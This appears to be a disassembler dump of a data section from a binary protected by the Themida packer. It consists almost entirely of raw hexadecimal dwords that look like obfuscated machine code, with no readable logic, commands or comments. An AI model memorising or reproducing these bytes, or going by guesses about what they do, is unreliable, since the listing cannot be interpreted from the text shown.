		dd 44810424h, 1A0424h, 57470000h, 10F687C3h, 6F1D5A7Eh
		dd 24048950h, 6AF98B66h, 8F81BB00h, 6A3EF8h, 142F858Dh
		dd 6A093Ah, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h
		dd 55450000h, 0BD8BBDC3h, 93505A1h, 28A0Fh, 0FA8A0000h
		dd 8B05C083h, 353049BDh, 8E99009h, 84000000h, 796D2728h
		dd 505D56ECh, 7E9h, 4FB83400h, 8C07CCECh, 0CDBD3390h, 6A09350Bh
		dd 91BF6600h, 6A006A21h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 13E5C352h, 9D8B4B20h
		dd 93516B5h, 33195FFh, 6A0935h,	3E851h,	59200000h, 4C8959C3h
		dd 44810424h, 160424h, 51410000h, 39A844C3h, 6E9h, 625DE400h
		dd 297C37F7h, 352DF58Dh, 0AB8D8D09h, 8B09389Ah,	350825BDh
		dd 66D1FF09h, 834553BBh, 351C19BDh, 850F0109h, 8Dh, 0A387CF81h
		dd 26A465Ah, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	16C35141h, 56E10FEBh, 69B589F8h, 50093503h, 28A0F52h
		dd 51000000h, 4895F5Bh,	50006A24h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1504h, 0C3504000h, 95FF50BDh, 9351151h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 12C35343h, 0DDAD28DAh
		dd 6DBD8B02h, 6609352Bh, 7506D781h, 0E5BE9F9h, 0E80000h
		dd 5D000000h, 1439ED81h, 6A093Ah, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 180424h, 55450000h, 42B20FC3h, 95892593h
		dd 9352581h, 0DE9h, 6914B600h, 7DE3717Eh, 19419603h, 858D1B62h
		dd 938932Bh, 0FB8B90F5h, 6E950h, 0F26B0000h, 3FE6964Eh
		dd 53006A90h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1C04h
		dd 0C3534300h, 6853BEA2h, 5A2A1807h, 13810F21h,	0E9000000h
		dd 0Eh,	465A9148h, 0B59C1D89h, 6CE8597Ch, 0FF648805h, 35h
		dd 57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1D04h,	0C3574700h, 22BCE094h
		dd 0BD3324F9h, 8166E6CCh, 646092D7h, 2589h, 85FF0000h
		dd 9353009h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 19h,	3FC35343h, 125BE367h, 0F7816634h, 0BD8B3F11h, 93504ADh
		dd 0BF66FF6Ah, 0B5FF0ADAh, 935331Dh, 13E8h, 0D9059F00h
		dd 0A49C36F1h, 3321FFE7h, 3C2E0C28h, 8864E881h,	10E9h
		dd 0B0425100h, 81E395A8h, 72B95345h, 465D2035h,	95FF5B0Ah
		dd 9352EB9h, 133E9h, 5E900h, 6BCC0000h,	0B004610Fh, 3BCF8000h
		dd 666070E6h, 0CC4EC681h, 11E8h, 0CD2D4200h, 3940459Ch
		dd 6DA043A0h, 0D9C67D0Ch, 8B6665BCh, 0E46158C1h, 8197BB71h
		dd 613C367Eh, 0F2830Fh,	11E90000h, 0AC000000h, 4E436640h
		dd 0CE6E66B5h, 59BA19A9h, 2872CA8Eh, 66C8B60Fh,	0C6F2F381h
		dd 6BAh, 5E900h, 682E0000h, 0F8AAA518h,	9D33C18Bh, 9351241h
		dd 5604E8C1h, 228D8589h, 665B0935h, 8B66E2F7h, 0AABF66D8h
		dd 51C82B74h, 8B5FF98Bh, 0D59D8BD1h, 89093506h,	35305D85h
		dd 8EE909h, 858B0000h, 44004E49h, 14E9h, 0D1580300h, 978FDAD3h
		dd 0E0623C61h, 0BD284ABAh, 0A83DE9E3h, 68B0F38h, 3000000h
		dd 350D2D9Dh, 7C08309h,	32018D89h, 0C0830935h, 10E900h
		dd 0C9820000h, 0CE18EBE9h, 2E6FCF33h, 0B0FD345Dh, 0D03B3BBDh
		dd 0A830Fh, 8B660000h, 32E9FAh,	0DA8B0000h, 0FFFF8D8Bh
		dd 0E183FFFFh, 21840F01h, 1000000h, 35229D85h, 0FAB70F09h
		dd 0FFFFA583h, 29FEFFFFh, 350D6D85h, 49958909h,	0E944004Eh
		dd 0
aNT9J		db '█╣~▓9',9,'j',0
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
		dd 24F01DC3h, 60B65FB8h, 6840Fh, 0BD890000h, 9351C05h
		dd 254DB58Bh, 6A610935h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 26034DB5h, 967836F5h
		dd 9D8B2A58h, 9350D2Dh,	82995FFh, 6A0935h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 2B811C3h
		dd 0B89B42EAh, 2B58589h, 0E8B90935h, 6A00000Eh,	3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 7417C356h, 806756A6h, 81665660h, 58A603E1h, 268D958Bh
		dd 83610935h, 66FCFCE1h, 0B86D9FBFh, 0
		dd 4A5BD01h, 0BA0935h, 8B000000h, 0C233ADD9h, 0D003E8D1h
		dd 7504E983h, 52006AF4h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1D04h, 0C3524200h, 0EB614CD8h, 0D357D0h, 56BB4E5Fh
		dd 6A5FDAC6h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 15042444h, 40000000h, 0CFDBC350h, 0AE8h, 2A4D9200h
		dd 8A47AB3Dh, 8B9356CAh, 35043D9Dh, 880D5B09h, 66000000h
		dd 8B5028BFh, 35162995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1A04h, 0C3574700h, 17F9C712h, 8B83EB0Ah
		dd 35287D8Dh, 71DF8109h, 505C1737h, 188BC28Bh, 188BC103h
		dd 0E8D1C18Bh, 188BC203h, 0DD8D8958h, 5309352Ch, 5FFFB70Fh
		dd 1249BD83h, 0F000935h, 6A84h,	57006A00h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1504h,	0C3574700h, 9D8BAB49h
		dd 9351261h, 0B8h, 51006A00h, 3E8h, 0C3592000h,	244C8959h
		dd 24448104h, 1B04h, 0C3514100h, 57FC4A36h, 1525DF5Fh
		dd 8D5FFC50h, 354C028Dh, 5E909h, 0ABBD0000h, 0BFC3F8C7h
		dd 7E9A7705h, 0FA8BE1FFh, 8365C380h, 352255BDh,	840F0009h
		dd 495h, 0E855006Ah, 3,	5DC35D20h, 4246C89h, 4244481h
		dd 1Bh,	83C35545h, 0F699CB73h, 837ECAA2h, 352255BDh, 840F0109h
		dd 480h, 0E850006Ah, 3,	58C35820h, 4244489h, 4244481h
		dd 1Ah,	31C35040h, 0A43C2397h, 46BFC287h, 833E680Eh, 352255BDh
		dd 860F0309h, 416h, 2E18D29h, 6A600935h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 35CFC353h
		dd 556FBC5Bh, 0EC6D80A8h, 0E9858B60h, 8909351Ah, 35060D8Dh
		dd 8C666109h, 3D9D8BD9h, 80093523h, 6A04E1h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 170424h, 53430000h, 23FD39C3h
		dd 319D2B62h, 66093522h, 9BB9DB81h, 840FC90Ah, 15Bh, 0FE8h
		dd 48AD9500h, 0F901B165h, 7F1A41F9h, 3F0F2EDh, 800F50h
		dd 5B000000h, 61858B5Fh, 6A09352Bh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 4BC9C355h
		dd 161D8B3Eh, 33D460E5h, 350D7D85h, 57006A09h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 5019D9DDh
		dd 6A20BB66h, 0BE9905Bh, 0AC000000h, 317D19F2h,	96F0BF58h
		dd 0E95006A0h, 0Ah, 96EDDBB5h, 0CDE301FBh, 6A90BB82h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
		dd 0B7CAC353h, 9D89B126h, 9352E55h, 0E781006Ah,	4BD1AF17h
		dd 17182168h, 5B565154h, 2434815Fh, 54081BDEh, 2D05BD09h
		dd 8B0F0935h, 3, 0FFDEB70Fh, 350CDD95h,	57006A09h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1704h, 0C3574700h
		dd 4D34EDA1h, 464AE381h, 85891AF7h, 938B76Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 16h, 0B4C35040h, 0ADE976BBh
		dd 6A000001h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 14042444h, 47000000h, 0F22C357h, 680h, 0A59D3300h, 8B09350Fh
		dd 38B76785h, 51006A09h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 722AE0F2h, 0B880Fh, 0BE600000h, 12F4A2FFh
		dd 9BE2B866h, 1800C761h, 8B000000h, 3507F9BDh, 298D8909h
		dd 8B093527h, 38B76BB5h, 0C19D8B09h, 8B093524h,	3524D585h
		dd 51006A09h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 0E11B67Fh, 89F9E7DCh, 55006A06h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1C04h,	0C3554500h, 4B467C0Ch
		dd 274C561Dh, 4D8D8941h, 8B09351Bh, 352B6185h, 9BBB5609h
		dd 5F659559h, 6A044689h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 1C042444h, 41000000h, 0A2A5C351h,	31C5B557h
		dd 527E21B0h, 46C78166h, 60965BE0h, 0FB59BA66h,	820Fh
		dd 50610000h, 5B5B5657h, 0F8BF6696h, 67B5FF3Eh,	6A0938B7h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 16042444h
		dd 47000000h, 1A69C357h, 0D99D8B97h, 89093502h,	35161D95h
		dd 0CB616809h, 68B7006Dh, 9E243481h, 6A0072C8h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h
		dd 8B9AC350h, 69BD8BD8h, 8D093504h, 38B76F85h, 0D5958909h
		dd 50093512h, 4895B52h,	0ABC78124h, 891BD5E9h, 352B859Dh
		dd 0DD95FF09h, 6609350Ch, 91FCCF81h, 52006A61h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0F37BF6F0h
		dd 0E89AD391h, 2F81BD8Bh, 85C70935h, 9352255h, 3, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 0DEC35646h, 2C5C17EBh
		dd 66E85691h, 830AB2BBh, 38B76FBDh, 840F0009h, 56h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0A6C35747h, 0DC9593B2h
		dd 0BD332654h, 93502F9h, 44E9h,	53006A00h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0F141BEA0h
		dd 0C89D328Eh, 0FBB70F84h, 3050FA8Bh, 4400110Ch, 0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 850360C0h, 9352859h
		dd 2DA199BAh, 81666117h, 83911DEFh, 352255BDh, 850F0309h
		dd 476h, 0B76FBD83h, 0F000938h,	46984h,	19BD8B00h, 0FF09352Fh
		dd 38B76FB5h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 5B3B601h,	8B2D3E95h, 352E099Dh, 0A3D78009h
		dd 2E1195FFh, 6A0935h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 0AB18CC3h, 8BC9B765h, 38B763B5h
		dd 55006A09h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1C04h
		dd 0C3554500h, 2673F002h, 622A70E5h, 12E84Eh, 590A0000h
		dd 9F25893Eh, 14E2AB72h, 703FB6E5h, 0D8C542E4h,	0C75B44B7h
		dd 1000106h, 51006A00h,	3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0B652650Bh, 34B2C1CEh, 89604FB8h
		dd 352E6595h, 0D1BD0109h, 6109352Ah, 11E996h, 172D0000h
		dd 0A4968C1Eh, 9DA11F41h, 0A5D573B5h, 50FFFF45h, 0C5B58996h
		dd 0FF09350Eh, 38B76FB5h, 69BD8B09h, 0FF093503h, 35028995h
		dd 46BB6609h, 63B58B3Ch, 6A0938B7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 7545C355h
		dd 0F3B4BAC2h, 3A7BEF81h, 858B40BCh, 9350E99h, 89FBB70Fh
		db 86h
byte_5904E9	db 0C4h, 2 dup(0)	; DATA XREF: Themida_:0055CEC4o
		dd 958BF900h, 9351629h,	2E91BD8Bh, 0C2830935h, 53006A04h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1604h, 0C3534300h
		dd 0E8ACBEC5h, 8, 6B9EFE0Eh, 59B7F301h,	0CA84BF66h, 0FBBF0F5Fh
		dd 8D205089h, 38CC0785h, 50006A09h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 47699FE2h, 8D9D2368h
		dd 89093531h, 0B886h, 0F7816600h, 6A8FC5h, 0B76FB5FFh
		dd 6A0938h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h
		dd 52420000h, 0C6E795C3h, 73C3FA63h, 890F308Bh,	6, 1DADBD89h
		dd 95FF0935h, 9351151h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ah, 63C35040h, 993E69D4h,	50964CA3h, 56BF6652h
		dd 60310FB4h, 9E9h, 57830D00h, 38CECF0Ch, 0BE9B3E7h, 9F000000h
		dd 7D95BAADh, 0BD588FD5h, 5A61A6D3h, 8BB5058h, 964072CCh
		dd 0B76FB5FFh, 6A0938h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 1C0424h, 53430000h, 464878C3h, 4C40120Fh, 9D8B30E9h
		dd 93512A1h, 0B5595FFh,	6A0935h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 0FBBE7AC3h, 0C78166A9h
		dd 0BD837A48h, 9350079h, 88840F00h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0BF4EC357h, 0B20D0DD6h, 0ABB8A048h, 0F3BF0F60h, 11E9h
		dd 22174100h, 75798492h, 862546CEh, 0FB8101A9h,	89615B2Ah
		dd 35234195h, 11E85009h, 2E000000h, 23B5CD1Ch, 0A179989Ah
		dd 43B27637h, 21409D3Ah, 0F88B6653h, 34895B5Bh,	51006A24h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 81661AF6h, 0FF0B17EBh, 38B76FB5h, 2DBD8B09h,	0FF093533h
		dd 351C3595h, 55958909h, 0FF093501h, 38B76FB5h,	50006A09h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 0D639AEB2h, 989057D7h, 1AD99D89h, 8B0F0935h,	4, 45FDBF66h
		dd 2CE595FFh, 6A0935h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1B0424h, 57470000h, 0E5F9E5C3h, 1DB34E19h, 0BF0F608Eh
		dd 61FB8BC7h, 26BDBD83h, 0F020935h, 5D84h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1B04h, 0C3534300h
		dd 33227E28h, 0FEF11163h, 0BD98D89h, 858B0935h,	93526ADh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 17h, 0F5C35141h
		dd 81D052C7h, 6E5898DFh, 0C60Fh, 11A19D0Bh, 85C70935h
		dd 9353265h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0C35747h
		dd 3610FE48h, 364E526Dh, 13E19589h, 0F5E90935h,	6AFFFFF2h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 16042444h
		dd 43000000h, 1D9EC353h, 0E8D4BF4Bh, 0C18B2756h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 54C35545h, 81AD442Fh
		dd 1CCF1EFh, 352DD595h,	59858D09h, 6A093526h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 0C913C351h, 2214C18h, 0E8C744F9h, 0Bh, 201DC5C9h, 0AE793F75h
		dd 8B2BF2B6h, 3524F5BDh, 50905B09h, 5C7EBF52h, 310F4691h
		dd 5FD98B50h, 0BF50585Ah, 423DA640h, 1597BB90h,	8C0F6EE3h
		dd 20h,	1A8C0Fh, 14E80000h, 0B6000000h,	9AC295F1h, 0F4AFBE1h
		dd 361B0E56h, 90244816h, 5F7A31AFh, 6A006Ah, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 0F27F79C3h
		dd 97FFED7Ah, 11E97D11h, 74000000h, 86703185h, 0CB2ACB0Eh
		dd 0D1D015B6h, 5F77219Bh, 0F0BB006Ah, 8121CE92h, 396469E7h
		dd 52858D03h, 6A093A25h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 31E7C352h, 0E2495C22h
		dd 0F172CFAh, 9D8BDABFh, 9352CE1h, 6A05C083h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h
		dd 7B7DC356h, 6BB8E070h, 160D9D89h, 89500935h, 6A2404h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
		dd 647D8AC3h, 0BEB596CFh, 0BD31AC9Ch, 9350625h,	6ADE8Bh
		dd 6AD98Bh, 0E857006Ah,	3, 5FC35F20h, 4247C89h,	4244481h
		dd 1Ch,	24C35747h, 7A730406h, 750A2184h, 68B0F52h, 89000000h
		dd 351B6DB5h, 80605F09h, 0FBB1BAF4h, 3195FF61h,	6A093503h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 5D9DC352h, 0CAD7F3A1h, 9BE1BA11h,	3830Fh
		dd 8B660000h, 0AB8D8DF8h, 309389Ah, 3501A19Dh, 8BD1FF09h
		dd 3529099Dh, 19BD8309h, 109351Ch, 0D6850Fh, 6A0000h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 0C5EC76C3h, 45BD89C2h, 6A093503h, 55006A02h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1604h,	0C3554500h, 0F89E28C5h
		dd 30A99D8Bh, 0BD8B0935h, 93516C9h, 52525090h, 5AFABB66h
		dd 66310F5Bh, 5A29B1BFh, 0F605058h, 481h, 0D0BA6600h, 6880F24h
		dd 0F000000h, 8Eh, 6A906100h, 3E85500h,	20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 0A470C355h,	47E5076Bh
		dd 85039A94h, 0FFDEBF0Fh, 35115195h, 50006A09h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 87A8323Bh
		dd 2FCD9589h, 0E7810935h, 138E7F28h, 0D07E9h, 0E800h, 815D0000h
		dd 3A255CEDh, 50006A09h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1404h, 0C3504000h, 59D8BC0h,	3093512h, 352809BDh, 9D9D8B09h
		dd 8D093508h, 38932B85h, 50006A09h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1C04h, 0C3504000h, 9401D2B0h, 0C4CEE3ECh
		dd 13E94Ch, 0F30E0000h,	0C0709BBAh, 0EA66694Ch,	0F6103E4Eh
		dd 73CF675Bh, 85236057h, 9352C75h, 585A5350h, 0E8609061h
		dd 6, 4029A2Dh,	0E78ACCBFh, 6050615Eh, 0BE8h, 0D2C4C400h
		dd 0E7CF1BCDh, 0C3C1E1A0h, 0EE8h, 395E7500h, 0A4905326h
		dd 9CD3738Bh, 59C9DF93h, 800F5Fh, 61000000h, 64FA8A90h
		dd 35FFh, 77B30000h, 258964h, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 17042444h, 42000000h, 0AC5AC352h
		dd 0BF66FB46h, 85FFBC8Eh, 9353009h, 1F158529h, 0FF6A0935h
		dd 0CE8h, 63666000h, 0CEC4405Ah, 4182A327h, 6DBD894Dh
		dd 5F093523h, 3095B5FFh, 95FF0935h, 9352EB9h, 0FEE9h, 0BBBBB00h
		dd 8E0F7228h, 6, 0EE58D89h, 0B00935h, 0E6BFCF80h, 21BD2970h
		dd 0E409352Dh, 51F78171h, 3C19CC05h, 0D0830F61h, 0F000000h
		dd 68Fh, 71958900h, 0B093512h, 350425BDh, 0C8B60F09h, 4109BB66h
		dd 6BAh, 0C18BF900h, 0C359D8Bh,	0E8C10935h, 66DF8B04h
		dd 8529E2F7h, 9351EEDh,	8531C82Bh, 93516C9h, 9D23D18Bh
		dd 93517B1h, 86E9h, 0DFB70F00h,	4C4C858Bh, 820F505Fh, 6
		dd 12B9BD89h, 0C0830935h, 0B19D8B07h, 83093525h, 92BB00C0h
		dd 8176EF8Ch, 0F6C97CC3h, 0FD03B2Fh, 1383h, 9D895100h
		dd 9350055h, 45E95Bh, 9D0B0000h, 935058Dh, 0FFFF8D8Bh
		dd 0F56FFFFh, 835FDEB7h, 840F01E1h, 2Bh, 261DB529h, 0BF660935h
		dd 0A58330BEh, 0FFFFFFFFh, 6820FFEh, 89000000h,	35333595h
		dd 4C958909h, 0F505F4Ch, 0E9DFBFh, 8D000000h, 39A166B5h
		dd 0EE909h, 57EA0000h, 40DB82ADh, 0EEFCB37Fh, 0D13848BAh
		dd 0BF0F006Ah, 0BD0B60FBh, 9352A8Dh, 5E9h, 0E8C2E300h
		dd 0FF61F9AFh, 35082995h, 87CB8009h, 0FD6B9h, 7ABB6600h
		dd 0FCE183C6h, 6AFCDE8Bh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1C042444h, 42000000h, 0A6A6C352h,	6E406420h
		dd 8904F380h, 350B5985h, 0B809h, 9D8B0000h, 9351AFDh, 6AD22Bh
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h, 55450000h
		dd 31149EC3h, 0F7850AD1h, 33ADF930h, 3E8D1C2h, 4E983D0h
		dd 6AF475h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h
		dd 52420000h, 0E4A280C3h, 806CF5B4h, 50006A01h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1A04h,	0C3504000h, 6A737492h
		dd 0E9C6CA1Ah, 0Eh, 0CEA5746Ch,	5B010336h, 0F340BF68h
		dd 0BD232144h, 9350039h, 880Dh,	52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 26D266Bh, 77229A4Dh
		dd 6800Fh, 9D8B0000h, 9350371h,	958BD88Bh, 9351629h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0CC35040h, 0EE39D653h
		dd 0FAE9C68Dh, 68D0FE1h, 1000000h, 3530A985h, 7D8D8B09h
		dd 56093528h, 5FF9BF0Fh, 8BC28B50h, 8BC10318h, 0D1C18B18h
		dd 8BC203E8h, 0BD8B5818h, 9350811h, 49BD83F8h, 93512h
		dd 61840Fh, 6A0000h, 3E852h, 5A200000h,	54895AC3h, 44810424h
		dd 1B0424h, 52420000h, 515D8DC3h, 2F58810Ch, 0B878h, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8BE3BFC3h, 35272DBDh, 119D8B09h, 8D09350Bh, 354C028Dh
		dd 33BB6609h, 66E1FFA5h, 8343C9BBh, 352255BDh, 840F0009h
		dd 446h, 0E856006Ah, 3,	5EC35E20h, 4247489h, 4244481h
		dd 17h,	0FDC35646h, 8949BB4Dh, 351035B5h, 599D0909h, 8309350Ah
		dd 352255BDh, 840F0109h, 429h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 80C35343h, 0A359D8Bh, 0BD830935h
		dd 9352255h, 0C4860F03h, 89000003h, 353341B5h, 6A6009h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 0CA7127C3h, 8166C3EBh, 809833D3h, 0BD89FDCBh, 9350DC1h
		dd 0E8D98C66h, 10h, 5E64CE7h, 0BB4B74AAh, 0FC1321DFh, 0BC59B84Eh
		dd 805FD98Ah, 6A04E1h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 180424h, 52420000h, 0CD5A8C3h, 0C90AA2C5h, 130840Fh
		dd 81660000h, 8BFF3CDFh, 352B6185h, 52006A09h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1504h,	0C3524200h, 9D8B6AE1h
		dd 9352765h, 8533FE8Bh,	9350D7Dh, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0DAC35343h,	0A9B58959h, 9009350Fh
		dd 0C810Fh, 7E90000h, 4D000000h, 0C86E588Ah, 6650523Fh
		dd 90DE44BBh, 0E857006Ah, 3, 5FC35F20h,	4247C89h, 4244481h
		dd 17h,	22C35747h, 0BFBE2170h, 11DE63A1h, 6A006Ah, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 3AD652C3h, 957C9132h, 35BD8B2Fh, 0F093512h, 158Fh, 10E900h
		dd 0E04B0000h, 918831CDh, 0D6AA2F1Ah, 0C83EB682h, 7F68BEEFh
		dd 0B77C1E1Ah, 243481D8h, 7C011980h, 95FFFCF9h,	9350CDDh
		dd 0F19D8B53h, 5F09352Bh, 3830Fh, 0E7800000h, 6F8589D8h
		dd 6A0938B7h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 14042444h, 45000000h, 0E9F4C355h, 1CBh, 8B0Fh, 858B0000h
		dd 938B767h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 15h,	0ACC35747h, 0CFBB66CFh,	1800C791h, 8B000000h, 38B76BB5h
		dd 53006A09h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1504h
		dd 0C3534300h, 800F2B77h, 16h, 11E9h, 8E73D800h, 7493BFCh
		dd 0A640EC23h, 5BC517AAh, 858BD1ACh, 93524D5h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 63C35343h, 8FBC7BF9h
		dd 0C1B58959h, 0F9093506h, 0BF660689h, 858BC4D0h, 9352B61h
		dd 1655BD8Bh, 46890935h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1B04h, 0C3534300h, 7213CF07h, 0FD9647F7h
		dd 6890Fh, 0BD890000h, 9352C21h, 50DFB70Fh, 61606056h
		dd 12E9h, 11C73A00h, 0EB768E0Dh, 0A63A22AFh, 52496C0Ch
		dd 611CA512h, 2434895Fh, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 14h, 68C35141h, 0DE5B589h,	0B5FF0935h, 938B767h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 0C2C35040h
		dd 21935E0Fh, 0BE13BBFFh, 2259BD03h, 0EE680935h, 52829B5Bh
		dd 6E8h, 75854000h, 604E0502h, 815F5F61h, 0A8112404h, 8D017D83h
		dd 9351115h, 0B76F858Dh, 6A0938h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0F849A2C3h, 89192165h
		dd 3510CDB5h, 52505009h, 8F0Fh,	310F0000h, 489585Ah, 0C9E38124h
		dd 0FF274779h, 350CDD95h, 159D8B09h, 61093524h,	24A19D8Bh
		dd 85C70935h, 9352255h,	3, 831AE380h, 38B76FBDh, 840F0009h
		dd 33h,	0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh
		dd 9DC35141h, 77ACC51h,	810AF49Ah, 0E1AC69D7h, 20E959h
		dd 81660000h, 504BF1DBh, 110C30h, 0C1011144h, 443010E8h
		dd 4C000211h, 83580311h, 0E77504E9h, 305036EBh,	64001104h
		dd 0E8C10111h, 11443010h, 11640002h, 0E9835803h, 0EBE77504h
		dd 0E8C1501Bh, 11642810h, 11443003h, 64285802h,	4300111h
		dd 4E98311h, 0EBE775h, 6AC08Bh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 160424h, 56460000h, 216A0C3h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 7FC35343h, 0B529FCF1h
		dd 9353251h, 2255BD83h,	0F030935h, 39585h, 0D858900h, 83093530h
		dd 38B76FBDh, 840F0009h, 382h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 58C35747h, 44374F89h, 8A197CF5h
		dd 6FB5FFD9h, 8B0938B7h, 3516BDBDh, 95295209h, 935249Dh
		dd 1195FF5Fh, 6A09352Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1A042444h, 43000000h, 0B3E8C353h,	8CC5FEF7h
		dd 11958967h, 0E909352Fh, 9, 0FBC57757h, 6E9C20AEh, 63B58B64h
